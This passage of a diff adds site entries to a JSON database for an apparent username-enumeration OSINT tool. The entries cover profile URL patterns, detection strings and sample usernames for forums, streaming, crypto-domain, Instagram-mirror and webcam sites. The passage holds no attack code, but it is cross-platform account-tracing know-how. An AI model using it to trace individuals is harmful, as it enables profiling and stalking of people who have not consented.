"tags": [ + "forum", + "ua" + ], + "alexaRank": 826126 + }, + "hunting.karelia.ru": { + "urlMain": "http://hunting.karelia.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 20040 + }, + "forum.audacityteam.org": { + "urlMain": "https://forum.audacityteam.org", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 7424 + }, + "memoriam.ru": { + "urlMain": "https://memoriam.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 820052 + }, + "megapolis.org": { + "urlMain": "http://www.megapolis.org/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 3405817 + }, + "forums.linuxmint.com": { + "urlMain": "https://forums.linuxmint.com", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 9207 + }, + "moto-arena.ru": { + "urlMain": "https://moto-arena.ru", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 2421270 + }, + "forum.mxlinux.org": { + "urlMain": "https://forum.mxlinux.org", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 124468 + }, + "forum.pskovchess.ru": { + "urlMain": "http://forum.pskovchess.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "forum.openoffice.org": { + "urlMain": "https://forum.openoffice.org/en/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 15359 + }, + "forum.rosalinux.ru": { + "urlMain": "https://forum.rosalinux.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 702811 + }, + "forum.pressball.by": { + "urlMain": "https://forum.pressball.by", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "by", + "forum" + ], + "alexaRank": 63233, + "disabled": true + }, + "rt20.getbb.ru": { + "urlMain": "http://www.rt20.getbb.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 133412 + }, + "siava.ru": { + "urlMain": "https://siava.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1892135 + }, + "forum.ua-vet.com": { + "urlMain": "http://forum.ua-vet.com", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 3355047 + }, + "forum.virtualsoccer.ru": { + "urlMain": "https://forum.virtualsoccer.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 467162 + }, + "tuning.lviv.ua": { + "urlMain": "http://tuning.lviv.ua/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ua" + ], + "alexaRank": 8021246 + }, + "forum.tathunter.ru": { + "urlMain": "http://forum.tathunter.ru", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 4276869 + }, + "forum.volnistye.ru": { + "urlMain": "https://forum.volnistye.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1114259 + }, + "forum.web.ru": { + "urlMain": "https://forum.web.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 460111 + }, + "frauflora.com": { + "urlMain": "http://frauflora.com", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 2048362 + }, + "guitar.by": { + "urlMain": "https://www.guitar.by/forum", + "engine": "phpBB/Search", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "by", + "forum" + ], + "alexaRank": 720038 + }, + "kidshockey.ru": { + "urlMain": "https://kidshockey.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 438115 + }, + "jeepspb.ru": { + "urlMain": "http://jeepspb.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "khabmama.ru": { + "urlMain": "https://khabmama.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1528197 + }, + "lifeintravel.ru": { + "urlMain": "https://lifeintravel.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "disabled": true + }, + "forums.mageia.org": { + "urlMain": "https://forums.mageia.org/en", + "engine": "phpBB/Search", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 423825 + }, + "make-ups.ru": { + "urlMain": "http://make-ups.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "mama.tomsk.ru": { + "urlMain": "https://mama.tomsk.ru/forums", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 15559 + }, + "mitsubishi-asx.net": { + "urlMain": "https://www.mitsubishi-asx.net/forum", + "engine": "phpBB/Search", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 1622080 + }, + "moto26.ru": { + "urlMain": "http://moto26.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 9730748 + }, + "pajero4x4.ru": { + "urlMain": "http://www.pajero4x4.ru/bbs/phpBB2", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 412080 + }, + "phpbbguru.net": { + "urlMain": "https://www.phpbbguru.net/community", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 506137 + }, + "motoforum.ru": { + "urlMain": "https://www.motoforum.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1396312 + }, + "myce.wiki": { + "checkType": "message", + "presenseStrs": [ + "<span class=\"td-author-post-count\">", + "<span class=\"td-author-comments-count\">" + ], + "usernameClaimed": "vroom", + "usernameUnclaimed": "noonewouldeverusethis7", + "urlMain": "https://myce.wiki", + "url": "https://myce.wiki/author/{username}" + }, + "lviv4x4.club": { + "urlMain": "http://lviv4x4.club/forum", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5561346 + }, + "politsrach.ru": { + "urlMain": "https://politsrach.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 6900738 + }, + "popgun.ru": { + "urlMain": "https://popgun.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 155325, + "disabled": true + }, + "rest.feo.ru": { + "urlMain": "https://rest.feo.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "sanatatur.ru": { + "urlMain": "http://sanatatur.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 246142 + }, + "rt21.getbb.ru": { + "urlMain": "http://www.rt21.getbb.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 133412 + }, + "pobedish.ru": { + "urlMain": "https://pobedish.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1002551 + }, + "sorento.kia-club.ru": { + "urlMain": "http://sorento.kia-club.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 435313 + }, + "shipmodeling.ru": { + "urlMain": "https://www.shipmodeling.ru/phpbb", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 441056 + }, + "trworkshop.net": { + "urlMain": "http://www.trworkshop.net/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 517619 + }, + "spb-projects.ru": { + "urlMain": "http://spb-projects.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 5138594 + }, + "ttsport.ru": { + "urlMain": "https://www.ttsport.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 812848 + }, + "spartak.msk.ru": { + "urlMain": "http://spartak.msk.ru/guest", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1281707 + }, + "uazpatriot.ru": { + "urlMain": "https://uazpatriot.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 807713 + }, + "volga-gaz.nnov.ru": { + "urlMain": "http://volga-gaz.nnov.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 37898 + }, + "yiiframework.ru": { + "urlMain": "https://yiiframework.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 240757 + }, + "sasgis.org": { + "urlMain": "http://www.sasgis.org/forum", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 424362 + }, + "unixforum.org": { + "urlMain": "https://unixforum.org", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 287590 + }, + "mnogodetok.ru": { + "urlMain": "https://mnogodetok.ru", + "engine": "phpBB/Search", + "tags": [ + "forum", + "ru" + ], + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1331927 + }, + "vcfm.ru": { + "urlMain": "https://vcfm.ru/forum", + "engine": "phpBB/Search", + "tags": [ + "forum", + "ru" + ], + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1635578 + }, + "gaz-24.com": { + "urlMain": "http://gaz-24.com/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ru" + ], + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1132552 + }, + "mikrob.ru": { + "urlMain": "https://mikrob.ru", + "engine": "phpBB/Search", + "tags": [ + "forum", + "ru" + ], + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 134780 + }, + "promalp.ru": { + "urlMain": "http://promalp.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ru" + ], + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 3482358 + }, + "goodgame.ru": { + "absenceStrs": [ + "not-found-wrap", + "images/404.gif" + ], + "presenseStrs": [ + "name", + "streamer_name", + "user", + " role=", + "streamer" + ], + "url": "https://goodgame.ru/channel/{username}", + "urlMain": "https://goodgame.ru", + "usernameClaimed": "Nikichar", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 55420, + "tags": [ + "ru", + "streaming" + ] + }, + "breakers.tv": { + "absenceStrs": [ + "Channel you are looking for doesn't exist", + "Stream Not Found - Breakers.TV" + ], + "presenseStrs": [ + "</span> followers", + "{username}</span>", + "{username} on Breakers.TV" + ], + "url": "https://breakers.tv/{username}", + "urlMain": "https://breakers.tv", + "usernameClaimed": "friendlyboxbreaks", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 987478, + "tags": [ + "streaming", + "us" + ] + }, + "AfreecaTV": { + "absenceStrs": [ + "Blog does not exist." + ], + "presenseStrs": [ + "profile_text", + "profile_image", + "name", + "station_name", + "user_nick" + ], + "url": "http://bjapi.afreecatv.com/api/{username}/station", + "urlMain": "http://bjapi.afreecatv.com", + "usernameClaimed": "showsaovivo", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 905, + "tags": [ + "streaming" + ] + }, + "Picarto": { + "absenceStrs": [ + "We are the world\\u2019s leading live streaming platform for creative minds. Come join us" + ], + "presenseStrs": [ + "\"success\":true" + ], + "url": "https://ptvintern.picarto.tv/metadescription/{username}", + "urlMain": "https://ptvintern.picarto.tv", + "usernameClaimed": "tamarinfrog", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 15844, + "tags": [ + "art", + "streaming" + ] + }, + "stripchat.global": { + "disabled": true, + "presenseStrs": [ + "profile email", + "setVersionName", + ",SITE_NAME=", + "input[name=", + "project" + ], + "absenceStrs": [ + "<div class=\"text-wrapper\">404</div>" + ], + "url": "https://stripchat.global/{username}", + "urlMain": "https://stripchat.global", + "usernameClaimed": "lunagirl13", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 117062, + "tags": [ + "webcam" + ] + }, + "Harvard Scholar": { + "checkType": "status_code", + "url": "https://scholar.harvard.edu/{username}", + "urlMain": "https://scholar.harvard.edu/", + "usernameClaimed": "ousmanekane", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Google Scholar": { + "checkType": "status_code", + "url": "https://scholar.google.com/scholar?hl=en&as_sdt=0%2C5&q={username}&btnG=", + "urlMain": "https://scholar.google.com/", + "usernameClaimed": "Blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HuggingFace": { + "checkType": "status_code", + "url": "https://huggingface.co/{username}", + "urlMain": "https://huggingface.co/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dlive.tv": { + "absenceStrs": [ + "Channel not found" + ], + "presenseStrs": [ + "username", + "profile-part", + "profile-about" + ], + "url": "https://dlive.tv/{username}", + "urlMain": "https://dlive.tv", + "usernameClaimed": "TomTourettes", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 17235, + "tags": [ + "streaming" + ] + }, + "ManifoldMarkets": { + "checkType": "message", + "absenceStrs": [ + "404: Oops!", + "Less than 1% chance anything exists at this url." + ], + "presenseStrs": [ + ">Comments</div>", + ">Balance log</div>", + ">Payments</div>", + "@<!-- -->{username}<!-- --> </span>" + ], + "url": "https://manifold.markets/{username}", + "urlMain": "https://manifold.markets/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "instaprofi.ru": { + "absenceStrs": [ + "/static/img/pages/profile/nobody.jpg" + ], + "presenseStrs": [ + "profile__nextProfile flex-ajc" + ], + "url": "https://instaprofi.ru/profile/{username}", + "urlMain": "https://instaprofi.ru", + "usernameClaimed": "morgen_shtern", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "source": "Instagram", + "alexaRank": 252838, + "tags": [ + "photo" + ] + }, + "Pixwox": { + "absenceStrs": [ + "Page not found</div>" + ], + "presenseStrs": [ + "username", + "profile", + " data-name=", + "fullname", + "alternate" + ], + "url": "https://www.pixwox.com/profile/{username}/", + "urlMain": "https://www.pixwox.com", + "usernameClaimed": "mami_ishioka", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 12080, + "source": "Instagram", + "tags": [ + "photo" + ] + }, + "ImgInn": { + "absenceStrs": [ + "Page Not Found", + "The content has been deleted" + ], + "presenseStrs": [ + "followers", + "{username}" + ], + "url": "https://imginn.com/{username}/", + "urlMain": "https://imginn.com", + "usernameClaimed": "morgen_shtern", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 4271, + "source": "Instagram", + "tags": [ + "photo" + ] + }, + "lyricsTraining": { + "tags": [ + "music" + ], + "checkType": "message", + "presenseStrs": [ + "Lyrics by" + ], + "absenceStrs": [ + "Sorry, there are no results for your search." + ], + "url": "https://lyricstraining.com/search?user={username}", + "usernameClaimed": "Purrito", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "expoForum": { + "tags": [ + "coding", + "forum" + ], + "checkType": "status_code", + "url": "https://forums.expo.dev/u/{username}", + "usernameClaimed": "wodin", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "rawg.io": { + "tags": [ + "gaming" + ], + "checkType": "status_code", + "url": "https://rawg.io/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "SchemeColor": { + "tags": [ + "art", + "design" + ], + "checkType": "status_code", + "url": "https://www.schemecolor.com/author/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "aetherhub": { + "tags": [ + "gaming" + ], + "checkType": "status_code", + "url": "https://aetherhub.com/User/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "bugbounty": { + "disabled": true, + "tags": [ + "hacking" + ], + "checkType": "status_code", + "url": "https://bugbounty.gg/members/{username}", + "usernameClaimed": "marco", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "universocraft": { + "tags": [ + "gaming" + ], + "checkType": "message", + "presenseStrs": [ + "\u00daltima conexi\u00f3n" + ], + "absenceStrs": [ + "No se ha encontrado ning\u00fan usuario con ese nombre" + ], + "url": "https://stats.universocraft.com/stats.php?player={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "fragment.com": { + "absenceStrs": [ + "data-username=", + "data-item-title=" + ], + "presenseStrs": [ + "tm-datetime", + "tm-wallet" + ], + "url": "https://fragment.com/username/{username}", + "urlMain": "https://fragment.com", + "usernameClaimed": "yazheg", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "UnstoppableDomains": { + "presenseStrs": [ + "reservedForUserId", + "\"registered\"", + "DomainProduct" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0", + "Accept": "*/*", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip, deflate, br", + "Referer": "https://unstoppabledomains.com/", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "same-origin", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "TE": "trailers" + }, + "urlProbe": "https://unstoppabledomains.com/api/domain/search?q={username}", + "url": "https://ud.me/{username}", + "urlMain": "https://ud.me", + "usernameClaimed": "mlfed", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "edns.domains/meta": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.meta", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/music": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.music", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/ass": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.ass", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/404": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.404", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/sandbox": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.sandbox", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/web3": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.web3", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/gamefi": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.gamefi", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/iotex": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.iotex", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/bit": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=bit", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/coin": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=coin", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/onion": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=onion", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/bazar": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=bazar", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/lib": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=lib", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/emc": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=emv", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/tor": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=tor", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "PromptBase": { + "absenceStrs": [ + "NotFound" + ], + "presenseStrs": [ + "1" + ], + "url": "https://promptbase.com/profile/{username}", + "urlMain": "https://promptbase.com", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "ai" + ] + }, + "ngl.link": { + "absenceStrs": [ + "Could not find user" + ], + "presenseStrs": [ + "1" + ], + "url": "https://ngl.link/{username}", + "urlMain": "https://ngl.link", + "usernameClaimed": "youbutdumberr", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "q&a" + ] + }, + "bitpapa.com": { + "absenceStrs": [ + "/static/page-crash.svg" + ], + "presenseStrs": [ + "lbcUsername" + ], + "url": "https://bitpapa.com/ru/user/{username}", + "urlMain": "https://bitpapa.com", + "usernameClaimed": "Larisa70", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "sst.hiberworld.com": { + "checkType": "message", + "absenceStrs": [ + "User not found" + ], + "presenceStrs": [ + "email", + "birthdate", + "role", + "Profile Image", + "User" + ], + "url": "https://sst.hiberworld.com/user/{username}", + "urlMain": "https://sst.hiberworld.com/user/{username}", + "usernameClaimed": "pixelpwnz", + "usernameUnclaimed": "foxefwvigz" + }, + "DeepDreamGenerator": { + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "user-name", + "profile-cover", + "user-info" + ], + "url": "https://deepdreamgenerator.com/u/{username}", + "urlMain": "https://deepdreamgenerator.com", + "usernameClaimed": "sparkles99", + "usernameUnclaimed": "lyazybfqoh" + }, + "PeriscopeTv": { + "checkType": "message", + "absenceStrs": [ + "error-fill" + ], + "presenseStrs": [ + "profile", + "ProfileAuthor", + "ProfileUsername" + ], + "url": "https://www.pscp.tv/{username}", + "urlMain": "https://www.pscp.tv", + "usernameClaimed": "moonlitraven", + 